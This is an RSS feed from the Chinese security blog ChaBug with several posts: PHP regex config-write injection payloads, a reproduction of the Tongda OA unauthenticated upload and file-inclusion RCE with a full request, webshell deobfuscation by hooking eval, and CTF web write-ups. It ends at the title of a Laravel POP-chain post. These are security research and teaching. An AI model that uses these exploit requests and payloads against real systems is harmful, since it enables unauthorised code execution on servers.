<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>PHP &#8211; ChaBug安全</title>
	<atom:link href="/tags/php/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Tue, 28 Apr 2020 02:52:18 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>正则写配置文件常见的漏洞</title>
		<link>/audit/1564.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Tue, 28 Apr 2020 02:52:18 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[正则]]></category>
		<guid isPermaLink="false">/?p=1564</guid>

					<description><![CDATA[之前ATEAM发了《这是一篇“不一样”的真实渗透测试案例分析》文章，其中dz的getshell的部份利用的就是对于配置文件正则处理不当，然后P牛的博客也写了一篇 经典写配置漏洞与几...]]></description>
										<content:encoded><![CDATA[<p>之前ATEAM发了《这是一篇“不一样”的真实渗透测试案例分析》文章，其中dz的getshell的部份利用的就是对于配置文件<span class="wpcom_tag_link"><a href="/tags/%e6%ad%a3%e5%88%99" title="正则" target="_blank">正则</a></span>处理不当，然后P牛的博客也写了一篇 <a class="wp-editor-md-post-content-link" href="https://www.leavesongs.com/PENETRATION/thinking-about-config-file-arbitrary-write.html">经典写配置漏洞与几种变形</a></p>
<p>本文总结下在正则下写文件常见的错误。</p>
<h2>无单行/s+贪婪模式</h2>
<pre><code class="language-php ">&lt;?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./config.php');
$file = preg_replace("/\$API = '.*';/", "$API = '{$api}';", $file);
file_put_contents('./config.php', $file);
</code></pre>
<p>config.php</p>
<pre><code class="language-php ">&lt;?php
$API = 'http://baidu.com/';
</code></pre>
<p>功能很简单，就是正则匹配API然后写入，主要的问题就出在正则身上，<strong>贪婪模式并且无/s单行</strong>，可以通过换行符绕过。看图:</p>
<p>第一次访问<br />
<img src="https://y4er.com/img/uploads/20200428107774.png" alt="image.png" /></p>
<p>这个时候再请求<br />
<img src="/wp-content/uploads/2020/04/20200428109683.png" alt="image.png" /></p>
<p>因为正则贪婪匹配的问题第二次请求会将<code>'a'</code>吃掉<code></code>进而逃逸单引号。</p>
<h2>单行/s+贪婪模式</h2>
<pre><code class="language-php ">&lt;?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./config.php');
$file = preg_replace("/\$API = '.*';/s", "$API = '{$api}';", $file);
file_put_contents('./config.php', $file);
</code></pre>
<p>正则多了<code>/s</code>，那么上面的payload在第二次访问时会将<code>%0a</code>换行也匹配上，单引号无法逃逸。</p>
<p>给出payload：<code>http://php.local/test/index.php?api=a';phpinfo();//</code></p>
<p><img src="/wp-content/uploads/2020/04/20200428102787.png" alt="image.png" /></p>
<p>思考一个问题：为什么<code></code>符号没有被转义？不是用了<code>addslashes()</code>吗？</p>
<p>在php的<a class="wp-editor-md-post-content-link" href="https://www.php.net/manual/zh/function.preg-replace.php#refsect1-function.preg-replace-parameters">官方手册</a>中提到了关于preg_replace()第二个参数转义的问题。</p>
<blockquote><p>
  引用：replacement中可以包含后向引用&#92;n 或<code>$n</code>，语法上首选后者。 每个 这样的引用将被匹配到的第n个捕获子组捕获到的文本替换。 n 可以是0-99，&#92;0和<code>$0</code>代表完整的模式匹配文本。 捕获子组的序号计数方式为：代表捕获子组的左括号从左到右， 从1开始数。如果要在replacement 中使用反斜线，必须使用4个(&#8220;<code>\\</code>&#8220;，译注：因为这首先是php的字符串，经过转义后，是两个，再经过 正则表达式引擎后才被认为是一个原文反斜线)。
</p></blockquote>
<p>四个反斜线才被解析为一个反斜线，所以我们的payload可以逃逸单引号。</p>
<p>还有一种是正则的解法，先请求<br />
<img src="/wp-content/uploads/2020/04/20200428104394.png" alt="image.png" /></p>
<p>再请求<br />
<img src="/wp-content/uploads/2020/04/20200428100791.png" alt="image.png" /><br />
可能插坏配置文件- &#8211;</p>
<h2>无单行/s+非贪婪</h2>
<pre><code class="language-php ">&lt;?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./config.php');
$file = preg_replace("/\$API = '.*?';/", "$API = '{$api}';", $file);
file_put_contents('./config.php', $file);
</code></pre>
<p>解法和无单行+贪婪是一样的，因为都可以通过换行逃逸。</p>
<h2>单行/s+非贪婪</h2>
<pre><code class="language-php ">&lt;?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./config.php');
$file = preg_replace("/\$API = '.*?';/s", "$API = '{$api}';", $file);
file_put_contents('./config.php', $file);
</code></pre>
<p>解法：<code>http://php.local/test/index.php?api=a';phpinfo();//</code></p>
<p><img src="/wp-content/uploads/2020/04/20200428100227.png" alt="image.png" /></p>
<p>因为四个<code></code>才算一个反斜线，我们只传了一个，写入的一个反斜线会将单引号的反斜线转义掉，进而逃逸单引号。</p>
<p>P牛的解法更简单</p>
<ul>
<li>http://localhost:9090/update.php?api=aaaa%27;phpinfo();//</li>
<li>http://localhost:9090/update.php?api=aaaa</li>
</ul>
<p>第一次传入放了一个单引号进去<br />
<img src="/wp-content/uploads/2020/04/20200428103461.png" alt="image.png" /></p>
<p>第二次传入因为是非贪婪，所以只替换掉了第一个单引号之前的，替换之后将我们的<code></code>吃掉了，进而phpinfo()逃逸出来。<br />
<img src="/wp-content/uploads/2020/04/20200428106984.png" alt="image.png" /></p>
<h2>总结</h2>
<p>还有一些define定义常量的例子，这里不一一列举了，明白了原理举一反三注意闭合就行了。涉及到正则表达式的特性和php函数的特性，又学到了一招。</p>
<h2>参考</h2>
<ol>
<li>https://www.leavesongs.com/PENETRATION/thinking-about-config-file-arbitrary-write.html</li>
<li>https://www.php.net/manual/zh/function.preg-replace.php</li>
</ol>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>通达OA 任意文件上传配合文件包含导致RCE</title>
		<link>/audit/1345.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Wed, 18 Mar 2020 13:09:32 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[通达OA]]></category>
		<guid isPermaLink="false">/?p=1345</guid>

					<description><![CDATA[昨晚爆出来，今天早上分析分析。 复现 POST /ispirit/im/upload.php HTTP/1.1 Host: 192.168.124.138 Content-Leng...]]></description>
										<content:encoded><![CDATA[<p>昨晚爆出来，今天早上分析分析。<br />
<span id="more-1345"></span></p>
<h2>复现</h2>
<pre><code class="">POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.124.138
Content-Length: 463
Cache-Control: max-age=0
Origin: null
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTfafXJtEseBHh3r1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: KEY_RANDOMDATA=3656; PHPSESSID=Y4er
Connection: close

------WebKitFormBoundaryTfafXJtEseBHh3r1
Content-Disposition: form-data; name="ATTACHMENT"; filename="1.png"
Content-Type: application/octet-stream

&lt;?php echo 'Y4er';
------WebKitFormBoundaryTfafXJtEseBHh3r1
Content-Disposition: form-data; name="P"

Y4er
------WebKitFormBoundaryTfafXJtEseBHh3r1
Content-Disposition: form-data; name="DEST_UID"

12
------WebKitFormBoundaryTfafXJtEseBHh3r1
Content-Disposition: form-data; name="UPLOAD_MODE"

1

</code></pre>
<p><img src="/wp-content/uploads/2020/03/20200318213312-1.png" alt="image" /></p>
<p>先上传文件，然后文件包含</p>
<p><img src="/wp-content/uploads/2020/03/20200318211780-1.png" alt="image" /></p>
<h2>文件上传</h2>
<p>代码是zend加密的，百度一搜一大把解密。</p>
<p>文件上传的代码</p>
<pre><code class="language-php ">&lt;?php
//decode by http://dezend.qiling.org/  QQ 2859470

set_time_limit(0);
$P = $_POST['P'];
if (isset($P) || $P != '') {
    ob_start();
    include_once 'inc/session.php';
    session_id($P);
    session_start();
    session_write_close();
} else {
    include_once './auth.php';
}
include_once 'inc/utility_file.php';
include_once 'inc/utility_msg.php';
include_once 'mobile/inc/funcs.php';
ob_end_clean();
$TYPE = $_POST['TYPE'];
$DEST_UID = $_POST['DEST_UID'];
$dataBack = array();
if ($DEST_UID != '' &amp;&amp; !td_verify_ids($ids)) {
    $dataBack = array('status' =&gt; 0, 'content' =&gt; '-ERR ' . _('接收方ID无效'));
    echo json_encode(data2utf8($dataBack));
    exit;
}
if (strpos($DEST_UID, ',') !== false) {
} else {
    $DEST_UID = intval($DEST_UID);
}
if ($DEST_UID == 0) {
    if ($UPLOAD_MODE != 2) {
        $dataBack = array('status' =&gt; 0, 'content' =&gt; '-ERR ' . _('接收方ID无效'));
        echo json_encode(data2utf8($dataBack));
        exit;
    }
}
$MODULE = 'im';
if (1 &lt;= count($_FILES)) {
    if ($UPLOAD_MODE == '1') {
        if (strlen(urldecode($_FILES['ATTACHMENT']['name'])) != strlen($_FILES['ATTACHMENT']['name'])) {
            $_FILES['ATTACHMENT']['name'] = urldecode($_FILES['ATTACHMENT']['name']);
        }
    }
    $ATTACHMENTS = upload('ATTACHMENT', $MODULE, false);
    if (!is_array($ATTACHMENTS)) {
        $dataBack = array('status' =&gt; 0, 'content' =&gt; '-ERR ' . $ATTACHMENTS);
        echo json_encode(data2utf8($dataBack));
        exit;
    }
    ob_end_clean();
    $ATTACHMENT_ID = substr($ATTACHMENTS['ID'], 0, -1);
    $ATTACHMENT_NAME = substr($ATTACHMENTS['NAME'], 0, -1);
    if ($TYPE == 'mobile') {
        $ATTACHMENT_NAME = td_iconv(urldecode($ATTACHMENT_NAME), 'utf-8', MYOA_CHARSET);
    }
} else {
    $dataBack = array('status' =&gt; 0, 'content' =&gt; '-ERR ' . _('无文件上传'));
    echo json_encode(data2utf8($dataBack));
    exit;
}
$FILE_SIZE = attach_size($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
if (!$FILE_SIZE) {
    $dataBack = array('status' =&gt; 0, 'content' =&gt; '-ERR ' . _('文件上传失败'));
    echo json_encode(data2utf8($dataBack));
    exit;
}
if ($UPLOAD_MODE == '1') {
    if (is_thumbable($ATTACHMENT_NAME)) {
        $FILE_PATH = attach_real_path($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
        $THUMB_FILE_PATH = substr($FILE_PATH, 0, strlen($FILE_PATH) - strlen($ATTACHMENT_NAME)) . 'thumb_' . $ATTACHMENT_NAME;
        CreateThumb($FILE_PATH, 320, 240, $THUMB_FILE_PATH);
    }
    $P_VER = is_numeric($P_VER) ? intval($P_VER) : 0;
    $MSG_CATE = $_POST['MSG_CATE'];
    if ($MSG_CATE == 'file') {
        $CONTENT = '[fm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/fm]';
    } else {
        if ($MSG_CATE == 'image') {
            $CONTENT = '[im]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/im]';
        } else {
            $DURATION = intval($DURATION);
            $CONTENT = '[vm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $DURATION . '[/vm]';
        }
    }
    $AID = 0;
    $POS = strpos($ATTACHMENT_ID, '@');
    if ($POS !== false) {
        $AID = intval(substr($ATTACHMENT_ID, 0, $POS));
    }
    $query = 'INSERT INTO im_offline_file (TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG,AID) values ('' . date('Y-m-d H:i:s') . '','' . $_SESSION['LOGIN_UID'] . '','' . $DEST_UID . '','*' . $ATTACHMENT_ID . '.' . $ATTACHMENT_NAME . '','' . $FILE_SIZE . '','0','' . $AID . '')';
    $cursor = exequery(TD::conn(), $query);
    $FILE_ID = mysql_insert_id();
    if ($cursor === false) {
        $dataBack = array('status' =&gt; 0, 'content' =&gt; '-ERR ' . _('数据库操作失败'));
        echo json_encode(data2utf8($dataBack));
        exit;
    }
    $dataBack = array('status' =&gt; 1, 'content' =&gt; $CONTENT, 'file_id' =&gt; $FILE_ID);
    echo json_encode(data2utf8($dataBack));
    exit;
} else {
    if ($UPLOAD_MODE == '2') {
        $DURATION = intval($_POST['DURATION']);
        $CONTENT = '[vm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $DURATION . '[/vm]';
        $query = 'INSERT INTO WEIXUN_SHARE (UID, CONTENT, ADDTIME) VALUES ('' . $_SESSION['LOGIN_UID'] . '', '' . $CONTENT . '', '' . time() . '')';
        $cursor = exequery(TD::conn(), $query);
        echo '+OK ' . $CONTENT;
    } else {
        if ($UPLOAD_MODE == '3') {
            if (is_thumbable($ATTACHMENT_NAME)) {
                $FILE_PATH = attach_real_path($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
                $THUMB_FILE_PATH = substr($FILE_PATH, 0, strlen($FILE_PATH) - strlen($ATTACHMENT_NAME)) . 'thumb_' . $ATTACHMENT_NAME;
                CreateThumb($FILE_PATH, 320, 240, $THUMB_FILE_PATH);
            }
            echo '+OK ' . $ATTACHMENT_ID;
        } else {
            $CONTENT = '[fm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/fm]';
            $msg_id = send_msg($_SESSION['LOGIN_UID'], $DEST_UID, 1, $CONTENT, '', 2);
            $query = 'insert into IM_OFFLINE_FILE (TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG) values ('' . date('Y-m-d H:i:s') . '','' . $_SESSION['LOGIN_UID'] . '','' . $DEST_UID . '','*' . $ATTACHMENT_ID . '.' . $ATTACHMENT_NAME . '','' . $FILE_SIZE . '','0')';
            $cursor = exequery(TD::conn(), $query);
            $FILE_ID = mysql_insert_id();
            if ($cursor === false) {
                echo '-ERR ' . _('数据库操作失败');
                exit;
            }
            if ($FILE_ID == 0) {
                echo '-ERR ' . _('数据库操作失败2');
                exit;
            }
            echo '+OK ,' . $FILE_ID . ',' . $msg_id;
            exit;
        }
    }
}
</code></pre>
<p>关键点在于<br />
<img src="/wp-content/uploads/2020/03/20200318211110-1.png" alt="image" /></p>
<p>POST提交P参数，就不会引入auth.php，进而绕过登陆。</p>
<p><img src="/wp-content/uploads/2020/03/20200318218839-1.png" alt="image" /></p>
<p>然后就是需要传一个DEST_UID参数来过exit，只要不为0或空的数字都可以。然后就可以走到upload函数了，接下来如果<code>$UPLOAD_MODE == '1'</code>就会把<code>ATTACHMENT_ID</code>输出出来，这个id其实就是我们马的文件名，但是因为不在web目录，所以需要一个文件包含。</p>
<h2>文件包含</h2>
<p>代码</p>
<pre><code class="language-php ">&lt;?php
//decode by http://dezend.qiling.org/  QQ 2859470

ob_start();
include_once 'inc/session.php';
include_once 'inc/conn.php';
include_once 'inc/utility_org.php';
if ($P != '') {
    if (preg_match('/[^a-z0-9;]+/i', $P)) {
        echo _('非法参数');
        exit;
    }
    session_id($P);
    session_start();
    session_write_close();
    if ($_SESSION['LOGIN_USER_ID'] == '' || $_SESSION['LOGIN_UID'] == '') {
        echo _('RELOGIN');
        exit;
    }
}
if ($json) {
    $json = stripcslashes($json);
    $json = (array) json_decode($json);
    foreach ($json as $key =&gt; $val) {
        if ($key == 'data') {
            $val = (array) $val;
            foreach ($val as $keys =&gt; $value) {
                ${$keys} = $value;
            }
        }
        if ($key == 'url') {
            $url = $val;
        }
    }
    if ($url != '') {
        if (substr($url, 0, 1) == '/') {
            $url = substr($url, 1);
        }
        include_once $url;
    }
    exit;
}
</code></pre>
<p>这里不传P参数就能绕过exit了，然后走到下面的include_once进行文件包含造成RCE。</p>
<h2>其他</h2>
<p>我的环境是通达oa2017，2020/03/18从官网下的。php.ini默认禁用了<code>disable_functions = exec,shell_exec,system,passthru,proc_open,show_sou<span class="wpcom_tag_link"><a href="/tags/rce" title="rce" target="_blank">rce</a></span>,phpinfo</code>，不知道其他版本是什么情况。参考使用com组件绕过disable_function</p>
<p><span class="wpcom_tag_link"><a href="/tags/%e9%80%9a%e8%be%beoa" title="通达OA" target="_blank">通达OA</a></span>之前报过变量覆盖的洞，所以你要知道直接传入的参数就会被覆盖掉变量里，这也是上面UPLOAD_MODE、P、DEST_UID可以直接传入的原因。</p>
<p>有些版本gateway.php路径不同，例如2013：</p>
<pre><code class="">/ispirit/im/upload.php
/ispirit/interface/gateway.php
</code></pre>
<p>例如2017：</p>
<pre><code class="">/ispirit/im/upload.php
/mac/gateway.php
</code></pre>
<h2>参考链接</h2>
<ul>
<li>http://www.tongda2000.com/news/673.php</li>
<li>http://club.tongda2000.com/forum.php?mod=viewthread&amp;tid=128377</li>
<li>https://github.com/jas502n/OA-tongda-RCE</li>
</ul>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>通过hook eval解密混淆的PHP文件</title>
		<link>/web/1202.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 15 Feb 2020 17:12:00 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[hook]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[二进制]]></category>
		<category><![CDATA[加密]]></category>
		<category><![CDATA[大马]]></category>
		<category><![CDATA[混淆]]></category>
		<guid isPermaLink="false">/?p=1202</guid>

					<description><![CDATA[扒开加密shell的底裤。 想找一款好用的大马，还得分析分析有没有后门，但很多大马都是加密的，于是想试试能不能解密这些鬼代码，遂有此文。 PHP混淆原理 一般来讲，混淆分为两种 1...]]></description>
										<content:encoded><![CDATA[<p>扒开<span class="wpcom_tag_link"><a href="/tags/%e5%8a%a0%e5%af%86" title="加密" target="_blank">加密</a></span><span class="wpcom_tag_link"><a href="/tags/shell" title="shell" target="_blank">shell</a></span>的底裤。</p>
<p><span id="more-1202"></span></p>
<p>想找一款好用的<span class="wpcom_tag_link"><a href="/tags/%e5%a4%a7%e9%a9%ac" title="大马" target="_blank">大马</a></span>，还得分析分析有没有后门，但很多大马都是加密的，于是想试试能不能解密这些鬼代码，遂有此文。</p>
<h2><span class="wpcom_tag_link"><a href="/tags/php" title="PHP" target="_blank">PHP</a></span><span class="wpcom_tag_link"><a href="/tags/%e6%b7%b7%e6%b7%86" title="混淆" target="_blank">混淆</a></span>原理</h2>
<p>一般来讲，混淆分为两种<br />
1. 利用拓展进行加密<br />
2. 不需要拓展，单文件加密</p>
<p>本文主要针对第二种，而单文件加密的一般都是对源码进行字符串操作，比如对字符串移位、拼接，或者重新定义变量，重新赋值数组，总之就是尽可能减少程序可读性。但是所有加密过的代码都会经过多次eval来重新还原为php代码执行，所以我们可以<span class="wpcom_tag_link"><a href="/tags/hook" title="hook" target="_blank">hook</a></span> PHP中的eval函数来输出经过eval函数的参数，参数就是源码。</p>
<h2>hook eval</h2>
<p>PHP中的eval函数在Zend里需要调用zend_compile_string函数，我们写一个拓展直接hook这个函数就行了。不过我不会写c代码，所以参考网上的文章，在GitHub中找到了现成的一个拓展库。</p>
<p>https://github.com/bizonix/evalhook 需要编译，不过我在文末提供了编译好的so文件。</p>
<p>修改 evalhook.c 中这部分代码，否则只能在命令行中使用。</p>
<p><img src="https://y4er.com/img/uploads/20200202214739.png" alt="image" /></p>
<pre><code class="language-c ">static zend_op_array *evalhook_compile_string(zval *source_string, char *filename TSRMLS_DC)
{
        int c, len, yes;
        char *copy;

        /* Ignore non string eval() */
        if (Z_TYPE_P(source_string) != IS_STRING) {
                return orig_compile_string(source_string, filename TSRMLS_CC);
        }

        len  = Z_STRLEN_P(source_string);
        copy = estrndup(Z_STRVAL_P(source_string), len);
        if (len &gt; strlen(copy)) {
                for (c=0; c&lt;len; c++) if (copy[c] == 0) copy[c] == '?';
        }
        php_printf("n--------- Decrypt start ------------n");
        php_printf(copy);
        php_printf("n--------- Decrypt done ------------n");
        return orig_compile_string(source_string, filename TSRMLS_CC);

}
</code></pre>
<p>centos php5.6+apache 然后运行</p>
<pre><code class="">yum install http://rpms.remirepo.net/enterprise/remi-release-7.rpm
yum install --enablerepo=remi --enablerepo=remi-php56 php-devel
phpize &amp;&amp; ./configure &amp;&amp; make
</code></pre>
<p>将 evalhook/modules/evalhook.so 拷贝到 php 的拓展目录下，并且向php.ini中添加</p>
<pre><code class="">extension=evalhook.so
</code></pre>
<p>重新启动apache之后，可以通过web访问php文件，会直接打印出源码。</p>
<p>拿一个大马举例，没加拓展之前访问。</p>
<p><img src="/wp-content/uploads/2020/02/20200202217147.png" alt="image" /></p>
<p>加了拓展之后</p>
<p><img src="/wp-content/uploads/2020/02/20200202211173.png" alt="image" /></p>
<h2>参考链接</h2>
<p><a class="wp-editor-md-post-content-link" href="http://weaponx.site/2018/04/27/%E8%A7%A3%E5%AF%86%E6%B7%B7%E6%B7%86%E7%9A%84PHP%E7%A8%8B%E5%BA%8F/">解密混淆的PHP程序</a><br />
http://blog.evalbug.com/2017/09/21/phpdecode_01/<br />
https://www.leavesongs.com/PENETRATION/unobfuscated-phpjiami.html<br />
https://github.com/bizonix/evalhook<br />
<a class="wp-editor-md-post-content-link" href="https://gitee.com/Y4er/static/raw/master/hook.so">放一个我基于PHP 5.6.40编译好的so文件</a></p>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>广东强网杯两道Web Writeup</title>
		<link>/ctf/956.html</link>
					<comments>/ctf/956.html#comments</comments>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 12 Sep 2019 02:30:43 +0000</pubDate>
				<category><![CDATA[CTF笔记]]></category>
		<category><![CDATA[代码审计]]></category>
		<category><![CDATA[CTF]]></category>
		<category><![CDATA[Laravel]]></category>
		<category><![CDATA[PHP]]></category>
		<guid isPermaLink="false">/?p=956</guid>

					<description><![CDATA[@level5师傅发在群里的题目，做了两道 web4 php http://119.61.19.212:8082/index.php error_reporting(E_ALL^E...]]></description>
										<content:encoded><![CDATA[<p>@level5师傅发在群里的题目，做了两道</p>
<h1>web4 php</h1>
<p>http://119.61.19.212:8082/index.php</p>
<pre><code class="language-php ">error_reporting(E_ALL^E_NOTICE^E_WARNING);
function GetYourFlag(){
    echo file_get_contents(&amp;quot;./flag.php&amp;quot;);
}

if(isset($_GET['code'])){
    $code = $_GET['code'];
    //print(strlen($code));
    if(strlen($code)&amp;gt;27){ 
        die(&amp;quot;Too Long.&amp;quot;);
    }

    if(preg_match('/[a-zA-Z0-9_&amp;amp;^&amp;lt;&amp;gt;&amp;quot;']+/',$_GET['code'])) {
        die(&amp;quot;Not Allowed.&amp;quot;);
    }
    @eval($_GET['code']);
}else{
      highlight_file(__FILE__);
}
</code></pre>
<p>过滤字符数字下划线等等 长度小于等于27 然后调用GetYourFlag()函数即可，可以用<code>~</code>按位取反</p>
<pre><code class="language-php ">echo urlencode(~('GetYourFlag'));
</code></pre>
<p>得到</p>
<pre><code class="language-php ">%B8%9A%8B%A6%90%8A%8D%B9%93%9E%98
</code></pre>
<p>然后函数需要再取反回来</p>
<pre><code class="language-php ">~(%B8%9A%8B%A6%90%8A%8D%B9%93%9E%98)
</code></pre>
<p>存到一个变量里，因为过滤，我们用中文来定义变量，我在这用<code>中</code>字</p>
<pre><code class="language-php ">echo urlencode('中');    //%E4%B8%AD
</code></pre>
<p>然后用变量存储我们取反回来的GetYourFlag函数，最后通过变量来调用这个函数</p>
<pre><code class="language-php ">$%E4%B8%AD=~(%B8%9A%8B%A6%90%8A%8D%B9%93%9E%98);$%E4%B8%AD();
</code></pre>
<p>最后的payload</p>
<pre><code class="">view-source:http://119.61.19.212:8082/index.php?code=$%E4%B8%AD=~(%B8%9A%8B%A6%90%8A%8D%B9%93%9E%98);$%E4%B8%AD();
</code></pre>
<h1>web5</h1>
<p>laravel的<span class="wpcom_tag_link"><a href="/tags/%e4%bb%a3%e7%a0%81%e5%ae%a1%e8%ae%a1" title="代码审计" target="_blank">代码审计</a></span></p>
<p>路由</p>
<p><img src="/wp-content/uploads/2019/09/20190912093854-1.png" alt="20190912093854" /></p>
<p>app/Http/Controllers/UserController.php 注入</p>
<p><img src="/wp-content/uploads/2019/09/20190912093943-1.png" alt="20190912093943" /></p>
<p><img src="/wp-content/uploads/2019/09/20190912094106-1.png" alt="20190912094106" /></p>
<p>密码解不出来，但是在database/factories/UserFactory.php这个工厂函数中给出来了</p>
<p><img src="/wp-content/uploads/2019/09/20190912095222-1.png" alt="20190912095222" /></p>
<p>继续看 app/Http/Controllers/HomeController.php</p>
<p><img src="/wp-content/uploads/2019/09/20190912094237-1.png" alt="20190912094237" /></p>
<p>登录后要从数据库中拿到key，然后才能上传文件，也就是进入<code>HomeController@uploadss</code>。传文件的文件名经过一层filecheck()过滤之后移动到视图模板的目录里，清晰了，通过上传覆盖原本的模板然后模板注入读flag。</p>
<p><img src="/wp-content/uploads/2019/09/20190912094545-1.png" alt="20190912094545" /></p>
<p>正好<code>/resources/views/auth/uploads/</code>目录有一个<code>template.blade.php</code>模板，而路由中也有控制器去渲染这个模板。</p>
<p><img src="/wp-content/uploads/2019/09/20190912094749-1.png" alt="20190912094749" /></p>
<p><img src="/wp-content/uploads/2019/09/20190912094834-1.png" alt="20190912094834" /></p>
<p>构造表单上传之后发现上传filecheck()过滤了很多东西，不能有<code>php</code> <code>&amp;lt;</code>字样。</p>
<p>首先我们要知道laravel的blade模板是可以自定义php代码的，但是必须是如下格式</p>
<pre><code class="language-php ">@php
    //
@endphp
</code></pre>
<p>但是过滤了php关键字，没办法，只能去扒一扒blade的文档了，然后发现了自定义模板标签 https://laravel.com/docs/5.8/blade#extending-blade</p>
<p><img src="/wp-content/uploads/2019/09/20190912095812-1.png" alt="20190912095812" /></p>
<p>牛逼，直接@filedata(&#8216;/flag&#8217;)就完事了。</p>
<pre><code class="language-http ">POST /home/uploadss/NotAllow6171 HTTP/1.1
Host: 119.61.19.212:8085
Content-Length: 444
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvJNe9ABsnjeKGhDN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Language: zh-CN,zh;q=0.9
Cookie: XSRF-TOKEN=eyJpdiI6IitoWjhwMm1ycmNTWFozSmZTTXJwXC9nPT0iLCJ2YWx1ZSI6IkllczhnNEZodldZbllTN0NmZDErR2I1eXF1bU9mV1wvYklManNuUnQ4YzhJcmlWQ09JVXJPXC9JNHZxVU0xRmdCY0RDbWJHelVwYjQyVjdXQ1FHVlFMMlE9PSIsIm1hYyI6IjNmMGUzZTEwYTA2ZDA2MjJjMDg4OTY5NTI4NDJjNTk2YmQ4N2U4NWYxY2E2ZjU3YWEwNTAwODllMzIyYTU4ZjAifQ%3D%3D; laravel_session=eyJpdiI6InRhRzZmenBJSmFLNHhrb0RlUE5OdVE9PSIsInZhbHVlIjoiZ01qK2JpQURoRHgxbFVrcGc4TE9PK2kycGxSTjlNRzkwK21uVDUxa3UyTW5JYXpIcWJaY2pYbXQwNDc0dklkemNjRmR0aFhZcllmTkRvQXpVUlR3d3c9PSIsIm1hYyI6IjAwMjVkODA3YmY5NDU1Y2U5MDMyMWMwMTI1MTcyMmQ1YTU5NWQzMTE0MGMxMzc0ZWM1NDU4YzQ5MWIyZjI5YTgifQ%3D%3D
Connection: close

------WebKitFormBoundaryvJNe9ABsnjeKGhDN
Content-Disposition: form-data; name=&amp;quot;_token&amp;quot;

Z7VZ7FXfNzuzETtQrZ7DeAZCFtbkQl9L8e7ptVin
------WebKitFormBoundaryvJNe9ABsnjeKGhDN
Content-Disposition: form-data; name=&amp;quot;files&amp;quot;; filename=&amp;quot;template.blade.php&amp;quot;
Content-Type: text/html

@filedata('/flag')
------WebKitFormBoundaryvJNe9ABsnjeKGhDN

Content-Disposition: form-data; name=&amp;quot;submit&amp;quot;

Submit
------WebKitFormBoundaryvJNe9ABsnjeKGhDN--
</code></pre>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
					<wfw:commentRss>/ctf/956.html/feed</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
		<item>
		<title>Laravel v5.8.x Pop Chain</title>
		<link>/audit/843.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
